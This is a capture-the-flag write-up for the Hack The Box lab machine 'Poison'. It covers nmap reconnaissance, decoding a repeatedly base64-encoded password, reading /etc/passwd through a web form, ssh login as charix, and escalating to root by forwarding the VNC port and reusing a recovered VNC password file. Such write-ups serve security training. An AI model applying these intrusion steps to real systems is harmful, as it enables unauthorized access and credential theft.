┌──(root💀kali)-[~]
└─# nmap -T4 -sC -sV -O -Pn 10.10.10.84
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-26 19:49 EDT
Nmap scan report for 10.10.10.84
Host is up (0.026s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey:
| 2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
| 256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_ 256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open http Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=3/26%OT=22%CT=1%CU=42712%PV=Y%DS=2%DC=I%G=Y%TM=623FA6B
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10C%TI=Z%CI=Z%II=RI%TS=21)O
OS:PS(O1=M505NW6ST11%O2=M505NW6ST11%O3=M280NW6NNT11%O4=M505NW6ST11%O5=M218N
OS:W6ST11%O6=M109ST11)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FFFF)E
OS:CN(R=Y%DF=Y%T=40%W=FFFF%O=M505NW6SLL%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=Y%DF=Y%T=40%W=FFFF%S=O%A=S+%F=AS%O=M109NW6ST11%R
OS:D=0%Q=)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%
OS:S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=38%UN=0%
OS:RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=S%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 25.11 seconds
This password is secure, it's encoded atleast 13 times.. what could go wrong really.. Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0 NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO Ukd4RVdub3dPVU5uUFQwSwo=
It says the password has been encoded at list 13 times.
Let's go to cyberchef and try to add the recipe "frombase64" 13 times or more until it gets decrypted.
And it works!!
On the website using the form we can show /etc/passwd
We can use the password to connect with ssh. and the user charix because it is less likely to work with root.
ssh charix@10.10.10.84
And it works
We can get the user flag now cat user.txt
when we list the files we have a secret.zip we can take in our machine and try to unzip it with the password
┌──(root💀kali)-[~/Documents/hackthebox/poison]
└─# unzip secret.zip 82 ⨯
Archive: secret.zip
[secret.zip] secret password:
extracting: secret
┌──(root💀kali)-[~/Documents/hackthebox/poison]
└─# cat secret
��[|Ֆz!
┌──(root💀kali)-[~/Documents/hackthebox/poison]
└─# file secret
secret: Non-ISO extended-ASCII text, with no line terminators
The file is not readable using cat
Privesc
With ps -aux we see a vnc process root 529 0.0 0.9 23620 8868 v0- I 00:08 0:00.02 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.
With ps -auxww we get more information we see that it is running on port 5901.
We need to use ssh port forwarding to interact more easily with this process ssh -L 5901:127.0.0.1:5901 charix@10.10.10.84 I should be able to access vnc with my port 5901
With some research on vnc it seems like the password file we found in the zip can be used to access the process vncviewer 127.0.0.1:5901 -passwd secret
We get a root shell and can have the flag
Resources
Rana's writeup is very detailed because she shows 3 different way to gain initial foothold
